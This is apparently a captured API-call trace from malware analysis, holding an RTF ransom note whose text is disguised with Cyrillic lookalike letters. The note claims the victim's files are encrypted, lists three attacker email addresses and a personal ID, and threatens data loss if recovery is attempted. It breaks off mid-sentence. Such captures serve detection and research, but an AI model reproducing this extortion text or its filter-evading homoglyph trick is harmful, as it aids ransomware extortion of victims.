D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 